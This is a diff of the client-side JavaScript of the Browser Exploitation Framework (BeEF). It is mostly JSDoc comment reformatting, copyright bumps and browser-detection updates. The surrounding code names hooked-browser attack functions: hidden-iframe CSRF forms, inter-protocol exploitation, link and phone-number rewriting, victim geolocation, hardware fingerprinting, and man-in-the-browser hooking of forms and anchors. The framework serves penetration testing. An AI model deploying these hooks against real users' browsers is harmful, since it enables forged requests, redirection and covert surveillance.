var iframe = this.createElement('iframe', {
@@ -79,10 +78,10 @@ beef.dom = {
/**
* Returns the highest current z-index
* @param: {Boolean} whether to return an associative array with the height AND the ID of the element
* @return: {Integer} Highest z-index in the DOM
* @param {Boolean} whether to return an associative array with the height AND the ID of the element
* @return {Integer} Highest z-index in the DOM
* OR
* @return: {Hash} A hash with the height and the ID of the highest element in the DOM {'height': INT, 'elem': STRING}
* @return {Hash} A hash with the height and the ID of the highest element in the DOM {'height': INT, 'elem': STRING}
*/
getHighestZindex: function(include_id) {
var highest = {'height':0, 'elem':''};
@@ -105,11 +104,11 @@ beef.dom = {
* Create an iFrame element and prepend to document body. URI passed via 'src' property of function's 'params' parameter
* is assigned to created iframe tag's src attribute resulting in GET request to that URI.
* example usage in the code: beef.dom.createIframe('fullscreen', {'src':$j(this).attr('href')}, {}, null);
* @param: {String} type: can be 'hidden' or 'fullScreen'. defaults to normal
* @param: {Hash} params: list of params that will be sent in request.
* @param: {Hash} styles: css styling attributes, these are merged with the defaults specified in the type parameter
* @param: {Function} a callback function to fire once the iFrame has loaded
* @return: {Object} the inserted iFrame
* @param {String} type: can be 'hidden' or 'fullScreen'. defaults to normal
* @param {Hash} params: list of params that will be sent in request.
* @param {Hash} styles: css styling attributes, these are merged with the defaults specified in the type parameter
* @param {Function} a callback function to fire once the iFrame has loaded
* @return {Object} the inserted iFrame
*
*/
createIframe: function(type, params, styles, onload) {
@@ -150,8 +149,8 @@ beef.dom = {
/**
* Load a full screen div that is black, or, transparent
* @param: {Boolean} vis: whether or not you want the screen dimmer enabled or not
* @param: {Hash} options: a collection of options to customise how the div is configured, as follows:
* @param {Boolean} vis: whether or not you want the screen dimmer enabled or not
* @param {Hash} options: a collection of options to customise how the div is configured, as follows:
* opacity:0-100 // Lower number = less grayout higher = more of a blackout
* // By default this is 70
* zindex: # // HTML elements with a higher zindex appear on top of the gray out
@@ -219,9 +218,9 @@ beef.dom = {
/**
* Create a form element with the specified parameters, appending it to the DOM if append == true
* @param: {Hash} params: params to be applied to the form element
* @param: {Boolean} append: automatically append the form to the body
* @return: {Object} a form object
* @param {Hash} params: params to be applied to the form element
* @param {Boolean} append: automatically append the form to the body
* @return {Object} a form object
*/
createForm: function(params, append) {
var form = $j('<form></form>').attr(params);
@@ -239,7 +238,7 @@ beef.dom = {
/**
* Get the location of the current page.
* @return: the location.
* @return the location.
*/
getLocation: function() {
return document.location.href;
@@ -247,7 +246,7 @@ beef.dom = {
/**
* Get links of the current page.
* @return: array of URLs.
* @return array of URLs.
*/
getLinks: function() {
var linksarray = [];
@@ -260,9 +259,9 @@ beef.dom = {
/**
* Rewrites all links matched by selector to url, also rebinds the click method to simply return true
* @param: {String} url: the url to be rewritten
* @param: {String} selector: the jquery selector statement to use, defaults to all a tags.
* @return: {Number} the amount of links found in the DOM and rewritten.
* @param {String} url: the url to be rewritten
* @param {String} selector: the jquery selector statement to use, defaults to all a tags.
* @return {Number} the amount of links found in the DOM and rewritten.
*/
rewriteLinks: function(url, selector) {
var sel = (selector == null) ? 'a' : selector;
@@ -277,9 +276,9 @@ beef.dom = {
/**
* Rewrites all links matched by selector to url, leveraging Bilawal Hameed's hidden click event overwriting.
* http://bilaw.al/2013/03/17/hacking-the-a-tag-in-100-characters.html
* @param: {String} url: the url to be rewritten
* @param: {String} selector: the jquery selector statement to use, defaults to all a tags.
* @return: {Number} the amount of links found in the DOM and rewritten.
* @param {String} url: the url to be rewritten
* @param {String} selector: the jquery selector statement to use, defaults to all a tags.
* @return {Number} the amount of links found in the DOM and rewritten.
*/
rewriteLinksClickEvents: function(url, selector) {
var sel = (selector == null) ? 'a' : selector;
@@ -293,10 +292,10 @@ beef.dom = {
/**
* Parse all links in the page matched by the selector, replacing old_protocol with new_protocol (ex.:https with http)
* @param: {String} old_protocol: the old link protocol to be rewritten
* @param: {String} new_protocol: the new link protocol to be written
* @param: {String} selector: the jquery selector statement to use, defaults to all a tags.
* @return: {Number} the amount of links found in the DOM and rewritten.
* @param {String} old_protocol: the old link protocol to be rewritten
* @param {String} new_protocol: the new link protocol to be written
* @param {String} selector: the jquery selector statement to use, defaults to all a tags.
* @return {Number} the amount of links found in the DOM and rewritten.
*/
rewriteLinksProtocol: function(old_protocol, new_protocol, selector) {
@@ -319,9 +318,9 @@ beef.dom = {
/**
* Parse all links in the page matched by the selector, replacing all telephone urls ('tel' protocol handler) with a new telephone number
* @param: {String} new_number: the new link telephone number to be written
* @param: {String} selector: the jquery selector statement to use, defaults to all a tags.
* @return: {Number} the amount of links found in the DOM and rewritten.
* @param {String} new_number: the new link telephone number to be written
* @param {String} selector: the jquery selector statement to use, defaults to all a tags.
* @return {Number} the amount of links found in the DOM and rewritten.
*/
rewriteTelLinks: function(new_number, selector) {
@@ -343,9 +342,9 @@ beef.dom = {
},
/**
* Given an array of objects (key/value), return a string of param tags ready to append in applet/object/embed
* @params: {Array} an array of params for the applet, ex.: [{'argc':'5', 'arg0':'ReverseTCP'}]
* @return: {String} the parameters as a string ready to append to applet/embed/object tags (ex.: <param name='abc' value='test' />).
* Given an array of objects (key/value), return a string of param tags ready to append in applet/object/embed
* @param {Array} an array of params for the applet, ex.: [{'argc':'5', 'arg0':'ReverseTCP'}]
* @return {String} the parameters as a string ready to append to applet/embed/object tags (ex.: <param name='abc' value='test' />).
*/
parseAppletParams: function(params){
var result = '';
@@ -364,11 +363,11 @@ beef.dom = {
* beef.dom.attachApplet('appletId', 'appletName', 'SuperMario3D.class', null, 'http://127.0.0.1:3000/ui/media/images/target.jar', [{'param1':'1', 'param2':'2'}]);
* example usage in the code, using codebase:
* beef.dom.attachApplet('appletId', 'appletName', 'SuperMario3D', 'http://127.0.0.1:3000/', null, null);
* @params: {String} id: reference identifier to the applet.
* @params: {String} code: name of the class to be loaded. For example, beef.class.
* @params: {String} codebase: the URL of the codebase (usually used when loading a single class for an unsigned applet).
* @params: {String} archive: the jar that contains the code.
* @params: {String} params: an array of additional params that the applet except.
* @param {String} id: reference identifier to the applet.
* @param {String} code: name of the class to be loaded. For example, beef.class.
* @param {String} codebase: the URL of the codebase (usually used when loading a single class for an unsigned applet).
* @param {String} archive: the jar that contains the code.
* @param {String} params: an array of additional params that the applet except.
*/
attachApplet: function(id, name, code, codebase, archive, params) {
var content = null;
@@ -432,7 +431,7 @@ beef.dom = {
/**
* Given an id, remove the applet from the DOM.
* @params: {String} id: reference identifier to the applet.
* @param {String} id: reference identifier to the applet.
*/
detachApplet: function(id) {
$j('#' + id + '').detach();
@@ -440,10 +439,10 @@ beef.dom = {
/**
* Create an invisible iFrame with a form inside, and submit it. Useful for XSRF attacks delivered via POST requests.
* @params: {String} action: the form action attribute, where the request will be sent.
* @params: {String} method: HTTP method, usually POST.
* @params: {String} enctype: form encoding type
* @params: {Array} inputs: an array of inputs to be added to the form (type, name, value).
* @param {String} action: the form action attribute, where the request will be sent.
* @param {String} method: HTTP method, usually POST.
* @param {String} enctype: form encoding type
* @param {Array} inputs: an array of inputs to be added to the form (type, name, value).
* example: [{'type':'hidden', 'name':'1', 'value':''} , {'type':'hidden', 'name':'2', 'value':'3'}]
*/
createIframeXsrfForm: function(action, method, enctype, inputs){
@@ -477,9 +476,9 @@ beef.dom = {
/**
* Create an invisible iFrame with a form inside, and POST the form in plain-text. Used for inter-protocol exploitation.
* @params: {String} rhost: remote host ip/domain
* @params: {String} rport: remote port
* @params: {String} commands: protocol commands to be executed by the remote host:port service
* @param {String} rhost: remote host ip/domain
* @param {String} rport: remote port
* @param {String} commands: protocol commands to be executed by the remote host:port service
*/
createIframeIpecForm: function(rhost, rport, path, commands){
var iframeIpec = beef.dom.createInvisibleIframe();

View File

@@ -1,5 +1,5 @@
//
// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
// Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
@@ -8,10 +8,18 @@
beef.encode = {};
/**
* Base64 code from http://stackoverflow.com/questions/3774622/how-to-base64-encode-inside-of-javascript/3774662#3774662
* @namespace beef.encode.base64
*/
beef.encode.base64 = {
keyStr: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
/**
* @memberof beef.encode.base64
* @param {string} input
* @return {string}
*/
encode : function (input) {
if (window.btoa) {
return btoa(unescape(encodeURIComponent(input)));
@@ -49,7 +57,11 @@ beef.encode.base64 = {
return output;
},
/**
* @memberof beef.encode.base64
* @param {string} input
* @return {string}
*/
decode : function (input) {
if (window.atob) {
return escape(atob(input));
@@ -90,8 +102,12 @@ beef.encode.base64 = {
},
utf8_encode : function (string) {
/**
* @memberof beef.encode.base64
* @param {string} string
* @return {string}
*/
utf8_encode : function (string) {
string = string.replace(/\r\n/g,"\n");
var utftext = "";
@@ -116,7 +132,11 @@ beef.encode.base64 = {
return utftext;
},
/**
* @memberof beef.encode.base64
* @param {string} utftext
* @return {string}
*/
utf8_decode : function (utftext) {
var string = "";
var i = 0;

View File

@@ -1,13 +1,19 @@
//
// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
// Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
// Json code from Brantlye Harris-- http://code.google.com/p/jquery-json/
/**
* Json code from Brantlye Harris-- http://code.google.com/p/jquery-json/
* @namespace beef.encode.json
*/
beef.encode.json = {
/**
* @memberof beef.encode.json
* @param o
*/
stringify: function(o) {
if (typeof(JSON) == 'object' && JSON.stringify) {
// Error on stringifying cylcic structures caused polling to die
@@ -97,7 +103,10 @@ beef.encode.json = {
return "{" + pairs.join(", ") + "}";
}
},
/**
* @memberof beef.encode.json
* @param string
*/
quoteString: function(string) {
if (string.match(this._escapeable))
{

View File

@@ -1,25 +1,30 @@
//
// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
// Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
/*!
* @literal object: beef.geolocation
*
/**
* Provides functionalities to use the geolocation API.
* @namespace beef.geolocation
*/
beef.geolocation = {
/**
* check if browser supports the geolocation API
* Check if browser supports the geolocation API
* @return {boolean}
*/
isGeolocationEnabled: function(){
return !!navigator.geolocation;
},
/*
* given latitude/longitude retrieves exact street position of the zombie
/**
* Given latitude/longitude retrieves exact street position of the zombie
* @param command_url
* @param command_id
* @param latitude
* @param longitude
*/
getOpenStreetMapAddress: function(command_url, command_id, latitude, longitude){
@@ -56,8 +61,10 @@ beef.geolocation = {
},
/*
* retrieve latitude/longitude using the geolocation API
/**
* Retrieve latitude/longitude using the geolocation API
* @param command_url
* @param command_id
*/
getGeolocation: function (command_url, command_id){

View File

@@ -1,16 +1,20 @@
//
// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
// Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
/**
* @namespace beef.hardware
*/
beef.hardware = {
ua: navigator.userAgent,
/*
* @return: {String} CPU type
**/
/**
* @return {String} CPU type
*/
getCpuArch: function() {
var arch = 'UNKNOWN';
// note that actually WOW64 means IE 32bit and Windows 64 bit. we are more interested
@@ -39,7 +43,8 @@ beef.hardware = {
/**
* Returns number of CPU cores
**/
* @return {String}
*/
getCpuCores: function() {
var cores = 'unknown';
try {
@@ -54,7 +59,8 @@ beef.hardware = {
/**
* Returns CPU details
**/
* @return {String}
*/
getCpuDetails: function() {
return {
arch: beef.hardware.getCpuArch(),
@@ -64,7 +70,8 @@ beef.hardware = {
/**
* Returns GPU details
**/
* @return {object}
*/
getGpuDetails: function() {
var gpu = 'unknown';
var vendor = 'unknown';
@@ -98,7 +105,8 @@ beef.hardware = {
/**
* Returns RAM (GiB)
**/
* @return {String}
*/
getMemory: function() {
var memory = 'unknown';
try {
@@ -113,7 +121,8 @@ beef.hardware = {
/**
* Returns battery details
**/
* @return {Object}
*/
getBatteryDetails: function() {
var battery = navigator.battery || navigator.webkitBattery || navigator.mozBattery;
@@ -136,6 +145,7 @@ beef.hardware = {
/**
* Returns zombie screen size and color depth.
* @return {Object}
*/
getScreenSize: function () {
return {
@@ -145,17 +155,19 @@ beef.hardware = {
}
},
/*
* @return: {Boolean} true or false.
**/
/**
* Is touch enabled?
* @return {Boolean} true or false.
*/
isTouchEnabled: function() {
if ('ontouchstart' in document) return true;
return false;
},
/*
* @return: {Boolean} true or false.
**/
/**
* Is virtual machine?
* @return {Boolean} true or false.
*/
isVirtualMachine: function() {
if (this.getGpuDetails().vendor.match('VMware, Inc'))
return true;
@@ -171,9 +183,10 @@ beef.hardware = {
return false;
},
/*
* @return: {Boolean} true or false.
**/
/**
* Is a Laptop?
* @return {Boolean} true or false.
*/
isLaptop: function() {
if (this.isMobileDevice()) return false;
// Most common laptop screen resolution
@@ -183,64 +196,70 @@ beef.hardware = {
return false;
},
/*
* @return: {Boolean} true or false.
**/
/**
* Is Nokia?
* @return {Boolean} true or false.
*/
isNokia: function() {
return (this.ua.match('(Maemo Browser)|(Symbian)|(Nokia)|(Lumia )')) ? true : false;
},
/*
* @return: {Boolean} true or false.
**/
/**
* Is Zune?
* @return {Boolean} true or false.
*/
isZune: function() {
return (this.ua.match('ZuneWP7')) ? true : false;
},
/*
* @return: {Boolean} true or false.
**/
/**
* Is HTC?
* @return {Boolean} true or false.
*/
isHtc: function() {
return (this.ua.match('HTC')) ? true : false;
},
/*
* @return: {Boolean} true or false.
**/
/**
* Is Ericsson?
* @return {Boolean} true or false.
*/
isEricsson: function() {
return (this.ua.match('Ericsson')) ? true : false;
},
/*
* @return: {Boolean} true or false.
**/
/**
* Is Motorola?
* @return {Boolean} true or false.
*/
isMotorola: function() {
return (this.ua.match('Motorola')) ? true : false;
},
/*
* @return: {Boolean} true or false.
**/
/**
* Is Google?
* @return {Boolean} true or false.
*/
isGoogle: function() {
return (this.ua.match('Nexus One')) ? true : false;
},
/**
* Returns true if the browser is on a Mobile device
* @return: {Boolean} true or false
* @return {Boolean} true or false
*
* @example: if(beef.hardware.isMobileDevice()) { ... }
**/
*/
isMobileDevice: function() {
return MobileEsp.DetectMobileQuick();
},
/**
* Returns true if the browser is on a game console
* @return: {Boolean} true or false
* @return {Boolean} true or false
*
* @example: if(beef.hardware.isGameConsole()) { ... }
**/
*/
isGameConsole: function() {
return MobileEsp.DetectGameConsole();
},

View File

@@ -1,17 +1,18 @@
//
// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
// Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
/**
* @literal object: beef.init
* Contains the beef_init() method which starts the BeEF client-side
* logic. Also, it overrides the 'onpopstate' and 'onclose' events on the windows object.
*
* If beef.pageIsLoaded is true, then this JS has been loaded >1 times
* and will have a new session id. The new session id will need to know
* the brwoser details. So sendback the browser details again.
*
* @namespace beef.init
*/
beef.session.get_hook_session_id();
@@ -19,11 +20,15 @@ beef.session.get_hook_session_id();
if (beef.pageIsLoaded) {
beef.net.browser_details();
}
/**
* @memberof beef.init
*/
window.onload = function () {
beef_init();
};
/**
* @memberof beef.init
*/
window.onpopstate = function (event) {
if (beef.onpopstate.length > 0) {
event.preventDefault;
@@ -38,7 +43,9 @@ window.onpopstate = function (event) {
}
}
};
/**
* @memberof beef.init
*/
window.onclose = function (event) {
if (beef.onclose.length > 0) {
event.preventDefault;
@@ -60,6 +67,7 @@ window.onclose = function (event) {
* - the polling starts (checks for new commands, and execute them)
* - the logger component is initialized (see logger.js)
* - the Autorun Engine is initialized (see are.js)
* @memberof beef.init
*/
function beef_init() {
if (!beef.pageIsLoaded) {

View File

@@ -1,3 +1,12 @@
/**
* @namespace browser_jools
*/
/**
* @memberof browser_jools
* @param file
* @param cwd
*/
var require = function (file, cwd) {
var resolved = require.resolve(file, cwd || '/');
var mod = require.modules[resolved];
@@ -19,7 +28,9 @@ require._core = {
'path': true,
'vm': true
};
/**
* @memberof browser_jools
*/
require.resolve = (function () {
return function (x, cwd) {
if (!cwd) cwd = '/';
@@ -104,7 +115,9 @@ require.resolve = (function () {
}
};
})();
/**
* @memberof browser_jools
*/
require.alias = function (from, to) {
var path = require.modules.path();
var res = null;
@@ -133,7 +146,9 @@ require.alias = function (from, to) {
}
}
};
/**
* @memberof browser_jools
*/
require.define = function (filename, fn) {
var dirname = require._core[filename]
? ''
@@ -215,10 +230,15 @@ function filter (xs, fn) {
return res;
}
// resolves . and .. elements in a path array with directory names there
// must be no slashes, empty elements, or device names (c:\) in the array
// (so also no leading and trailing slashes - it does not distinguish
// relative and absolute paths)
/**
* resolves . and .. elements in a path array with directory names there
* must be no slashes, empty elements, or device names (c:\) in the array
* (so also no leading and trailing slashes - it does not distinguish
* relative and absolute paths)
* @memberof browser_jools
* @param parts
* @param allowAboveRoot
*/
function normalizeArray(parts, allowAboveRoot) {
// if the path tries to go above the root, `up` ends up > 0
var up = 0;
@@ -357,6 +377,7 @@ var utils = require('./utils')
/**
* version
* @memberof browser_jools
*/
exports.version = '0.0.1';
@@ -367,7 +388,7 @@ exports.version = '0.0.1';
* - Descriptive name
* - One or more conditions
* - One or more consequences, which are fired when all conditions evaluate to true.
*
* @memberof browser_jools
* @param {Object} rules
*/
function Jools(rules) {
@@ -426,7 +447,7 @@ module.exports = Jools;
require.define("/node_modules/jools/lib/utils.js", function (require, module, exports, __dirname, __filename) {
/**
* Returns an array of parameter names of the function f
*
* @memberof browser_jools
* @param {Function} f
*/
module.exports.paramNames = function (f) {
@@ -443,7 +464,7 @@ module.exports.paramNames = function (f) {
/**
* Creates an array of arguments
*
* @memberof browser_jools
* @param {Object} obj
* @param {Array} params
*/

View File

@@ -1,5 +1,5 @@
//
// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
// Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//

View File

@@ -16,10 +16,10 @@ var warnedAbout = {};
jQuery.migrateWarnings = [];
// Set to true to prevent console output; migrateWarnings still maintained
// jQuery.migrateMute = false;
jQuery.migrateMute = true;
// Show a message on the console so devs know we're active
if ( window.console && window.console.log ) {
if (window.console && window.console.log && !jQuery.migrateMute) {
window.console.log( "JQMIGRATE: Migrate is installed" +
( jQuery.migrateMute ? "" : " with logging active" ) +
", version " + jQuery.migrateVersion );
@@ -27,7 +27,7 @@ if ( window.console && window.console.log ) {
// Set to false to disable traces that appear with warnings
if ( jQuery.migrateTrace === undefined ) {
jQuery.migrateTrace = true;
jQuery.migrateTrace = false;
}
// Forget any warnings we've already given; public

View File

@@ -1,6 +1,6 @@
/*!
* Platform.js
* Copyright 2014-2018 Benjamin Tan
* Copyright 2014-2020 Benjamin Tan
* Copyright 2011-2013 John-David Dalton
* Available under MIT license
*/
@@ -339,7 +339,7 @@
/* Detectable layout engines (order is important). */
var layout = getLayout([
{ 'label': 'EdgeHTML', 'pattern': '(?:Edge|EdgA|EdgiOS)' },
{ 'label': 'EdgeHTML', 'pattern': 'Edge' },
'Trident',
{ 'label': 'WebKit', 'pattern': 'AppleWebKit' },
'iCab',
@@ -369,7 +369,7 @@
'Konqueror',
'Lunascape',
'Maxthon',
{ 'label': 'Microsoft Edge', 'pattern': '(?:Edge|EdgA|EdgiOS)' },
{ 'label': 'Microsoft Edge', 'pattern': '(?:Edge|Edg|EdgA|EdgiOS)' },
'Midori',
'Nook Browser',
'PaleMoon',
@@ -385,13 +385,18 @@
{ 'label': 'SRWare Iron', 'pattern': 'Iron' },
'Sunrise',
'Swiftfox',
'Vivaldi',
'Waterfox',
'WebPositive',
{ 'label': 'Yandex Browser', 'pattern': 'YaBrowser' },
{ 'label': 'UC Browser', 'pattern': 'UCBrowser' },
'Opera Mini',
{ 'label': 'Opera Mini', 'pattern': 'OPiOS' },
'Opera',
{ 'label': 'Opera', 'pattern': 'OPR' },
'Chromium',
'Chrome',
{ 'label': 'Chrome', 'pattern': '(?:HeadlessChrome)' },
{ 'label': 'Chrome Mobile', 'pattern': '(?:CriOS|CrMo)' },
{ 'label': 'Firefox', 'pattern': '(?:Firefox|Minefield)' },
{ 'label': 'Firefox for iOS', 'pattern': 'FxiOS' },
@@ -437,6 +442,7 @@
/* Detectable manufacturers. */
var manufacturer = getManufacturer({
'Apple': { 'iPad': 1, 'iPhone': 1, 'iPod': 1 },
'Alcatel': {},
'Archos': {},
'Amazon': { 'Kindle': 1, 'Kindle Fire': 1 },
'Asus': { 'Transformer': 1 },
@@ -445,22 +451,28 @@
'Google': { 'Google TV': 1, 'Nexus': 1 },
'HP': { 'TouchPad': 1 },
'HTC': {},
'Huawei': {},
'Lenovo': {},
'LG': {},
'Microsoft': { 'Xbox': 1, 'Xbox One': 1 },
'Motorola': { 'Xoom': 1 },
'Nintendo': { 'Wii U': 1, 'Wii': 1 },
'Nokia': { 'Lumia': 1 },
'Oppo': {},
'Samsung': { 'Galaxy S': 1, 'Galaxy S2': 1, 'Galaxy S3': 1, 'Galaxy S4': 1 },
'Sony': { 'PlayStation': 1, 'PlayStation Vita': 1 }
'Sony': { 'PlayStation': 1, 'PlayStation Vita': 1 },
'Xiaomi': { 'Mi': 1, 'Redmi': 1 }
});
/* Detectable operating systems (order is important). */
var os = getOS([
'Windows Phone',
'KaiOS',
'Android',
'CentOS',
{ 'label': 'Chrome OS', 'pattern': 'CrOS' },
'Debian',
{ 'label': 'DragonFly BSD', 'pattern': 'DragonFly' },
'Fedora',
'FreeBSD',
'Gentoo',
@@ -616,9 +628,26 @@
// Convert layout to an array so we can add extra details.
layout && (layout = [layout]);
// Detect Android products.
// Browsers on Android devices typically provide their product IDS after "Android;"
// up to "Build" or ") AppleWebKit".
// Example:
// "Mozilla/5.0 (Linux; Android 8.1.0; Moto G (5) Plus) AppleWebKit/537.36
// (KHTML, like Gecko) Chrome/70.0.3538.80 Mobile Safari/537.36"
if (/\bAndroid\b/.test(os) && !product &&
(data = /\bAndroid[^;]*;(.*?)(?:Build|\) AppleWebKit)\b/i.exec(ua))) {
product = trim(data[1])
// Replace any language codes (eg. "en-US").
.replace(/^[a-z]{2}-[a-z]{2};\s*/i, '')
|| null;
}
// Detect product names that contain their manufacturer's name.
if (manufacturer && !product) {
product = getProduct([manufacturer]);
} else if (manufacturer && product) {
product = product
.replace(RegExp('^(' + qualify(manufacturer) + ')[-_.\\s]', 'i'), manufacturer + ' ')
.replace(RegExp('^(' + qualify(manufacturer) + ')[-_.]?(\\w)', 'i'), manufacturer + ' $2');
}
// Clean up Google TV.
if ((data = /\bGoogle TV\b/.exec(product))) {
@@ -646,7 +675,7 @@
: '');
}
// Detect Kubuntu.
else if (name == 'Konqueror' && !/buntu/i.test(os)) {
else if (name == 'Konqueror' && /^Linux\b/i.test(os)) {
os = 'Kubuntu';
}
// Detect Android browsers.
@@ -666,6 +695,10 @@
description.unshift('accelerated');
}
}
// Detect UC Browser speed mode.
else if (name == 'UC Browser' && /\bUCWEB\b/.test(ua)) {
description.push('speed mode');
}
// Detect PaleMoon identifying as Firefox.
else if (name == 'PaleMoon' && (data = /\bFirefox\/([\d.]+)\b/.exec(ua))) {
description.push('identifying as Firefox ' + data[1]);
@@ -695,7 +728,7 @@
// Detect non-Opera (Presto-based) versions (order is important).
if (!version) {
version = getVersion([
'(?:Cloud9|CriOS|CrMo|Edge|EdgA|EdgiOS|FxiOS|IEMobile|Iron|Opera ?Mini|OPiOS|OPR|Raven|SamsungBrowser|Silk(?!/[\\d.]+$))',
'(?:Cloud9|CriOS|CrMo|Edge|Edg|EdgA|EdgiOS|FxiOS|HeadlessChrome|IEMobile|Iron|Opera ?Mini|OPiOS|OPR|Raven|SamsungBrowser|Silk(?!/[\\d.]+$)|UCBrowser|YaBrowser)',
'Version',
qualify(name),
'(?:Firefox|Minefield|NetFront)'
@@ -823,7 +856,7 @@
(prerelease == 'beta' ? beta : alpha) + (/\d+\+?/.exec(data) || '');
}
// Detect Firefox Mobile.
if (name == 'Fennec' || name == 'Firefox' && /\b(?:Android|Firefox OS)\b/.test(os)) {
if (name == 'Fennec' || name == 'Firefox' && /\b(?:Android|Firefox OS|KaiOS)\b/.test(os)) {
name = 'Firefox Mobile';
}
// Obscure Maxthon's unreliable version.
@@ -919,7 +952,7 @@
version = null;
}
// Use the full Chrome version when available.
data[1] = (/\bChrome\/([\d.]+)/i.exec(ua) || 0)[1];
data[1] = (/\b(?:Headless)?Chrome\/([\d.]+)/i.exec(ua) || 0)[1];
// Detect Blink layout engine.
if (data[0] == 537.36 && data[2] == 537.36 && parseFloat(data[1]) >= 28 && layout == 'WebKit') {
layout = ['Blink'];
@@ -928,7 +961,7 @@
// http://stackoverflow.com/questions/6768474/how-can-i-detect-which-javascript-engine-v8-or-jsc-is-used-at-runtime-in-androi
if (!useFeatures || (!likeChrome && !data[1])) {
layout && (layout[1] = 'like Safari');
data = (data = data[0], data < 400 ? 1 : data < 500 ? 2 : data < 526 ? 3 : data < 533 ? 4 : data < 534 ? '4+' : data < 535 ? 5 : data < 537 ? 6 : data < 538 ? 7 : data < 601 ? 8 : '8');
data = (data = data[0], data < 400 ? 1 : data < 500 ? 2 : data < 526 ? 3 : data < 533 ? 4 : data < 534 ? '4+' : data < 535 ? 5 : data < 537 ? 6 : data < 538 ? 7 : data < 601 ? 8 : data < 602 ? 9 : data < 604 ? 10 : data < 606 ? 11 : data < 608 ? 12 : '12');
} else {
layout && (layout[1] = 'like Chrome');
data = data[1] || (data = data[0], data < 530 ? 1 : data < 532 ? 2 : data < 532.05 ? 3 : data < 533 ? 4 : data < 534.03 ? 5 : data < 534.07 ? 6 : data < 534.10 ? 7 : data < 534.13 ? 8 : data < 534.16 ? 9 : data < 534.24 ? 10 : data < 534.30 ? 11 : data < 535.01 ? 12 : data < 535.02 ? '13+' : data < 535.07 ? 15 : data < 535.11 ? 16 : data < 535.19 ? 17 : data < 536.05 ? 18 : data < 536.10 ? 19 : data < 537.01 ? 20 : data < 537.11 ? '21+' : data < 537.13 ? 23 : data < 537.18 ? 24 : data < 537.24 ? 25 : data < 537.36 ? 26 : layout != 'Blink' ? '27' : '28');
@@ -938,6 +971,8 @@
// Obscure version for some Safari 1-2 releases.
if (name == 'Safari' && (!version || parseInt(version) > 45)) {
version = data;
} else if (name == 'Chrome' && /\bHeadlessChrome/i.test(ua)) {
description.unshift('headless');
}
}
// Detect Opera desktop modes.
@@ -965,16 +1000,24 @@
os = null;
}
}
// Newer versions of SRWare Iron uses the Chrome tag to indicate its version number.
else if (/\bSRWare Iron\b/.test(name) && !version) {
version = getVersion('Chrome');
}
// Strip incorrect OS versions.
if (version && version.indexOf((data = /[\d.]+$/.exec(os))) == 0 &&
ua.indexOf('/' + data + '-') > -1) {
os = trim(os.replace(data, ''));
}
// Ensure OS does not include the browser name.
if (os && os.indexOf(name) != -1 && !RegExp(name + ' OS').test(os)) {
os = os.replace(RegExp(' *' + qualify(name) + ' *'), '');
}
// Add layout engine.
if (layout && !/\b(?:Avant|Nook)\b/.test(name) && (
/Browser|Lunascape|Maxthon/.test(name) ||
name != 'Safari' && /^iOS/.test(os) && /\bSafari\b/.test(layout[1]) ||
/^(?:Adobe|Arora|Breach|Midori|Opera|Phantom|Rekonq|Rock|Samsung Internet|Sleipnir|Web)/.test(name) && layout[1])) {
/^(?:Adobe|Arora|Breach|Midori|Opera|Phantom|Rekonq|Rock|Samsung Internet|Sleipnir|SRWare Iron|Vivaldi|Web)/.test(name) && layout[1])) {
// Don't add layout details to description if they are falsey.
(data = layout[layout.length - 1]) && description.push(data);
}
@@ -1143,8 +1186,8 @@
*
* Common values include:
* "Windows", "Windows Server 2008 R2 / 7", "Windows Server 2008 / Vista",
* "Windows XP", "OS X", "Ubuntu", "Debian", "Fedora", "Red Hat", "SuSE",
* "Android", "iOS" and "Windows Phone"
* "Windows XP", "OS X", "Linux", "Ubuntu", "Debian", "Fedora", "Red Hat",
* "SuSE", "Android", "iOS" and "Windows Phone"
*
* @memberOf platform.os
* @type string|null

View File

@@ -1,13 +1,12 @@
//
// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
// Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
/*!
* @literal object: beef.logger
*
/**
* Provides logging capabilities.
* @namespace beef.logger
*/
beef.logger = {

View File

@@ -1,15 +1,18 @@
//
// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
// Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
/**
* @namespace beef.mitb
*/
beef.mitb = {
cid:null,
curl:null,
/** Initializes */
init:function (cid, curl) {
beef.mitb.cid = cid;
beef.mitb.curl = curl;
@@ -61,7 +64,7 @@ beef.mitb = {
}
},
// Initializes the hook on anchors and forms.
/** Initializes the hook on anchors and forms. */
hook:function () {
beef.onpopstate.push(function (event) {
beef.mitb.fetch(document.location, document.getElementsByTagName("html")[0]);
@@ -92,7 +95,7 @@ beef.mitb = {
}
},
// Hooks anchors and prevents them from linking away
/** Hooks anchors and prevents them from linking away */
poisonAnchor:function (e) {
try {
e.preventDefault;
@@ -111,7 +114,7 @@ beef.mitb = {
return false;
},
// Hooks forms and prevents them from linking away
/** Hooks forms and prevents them from linking away */
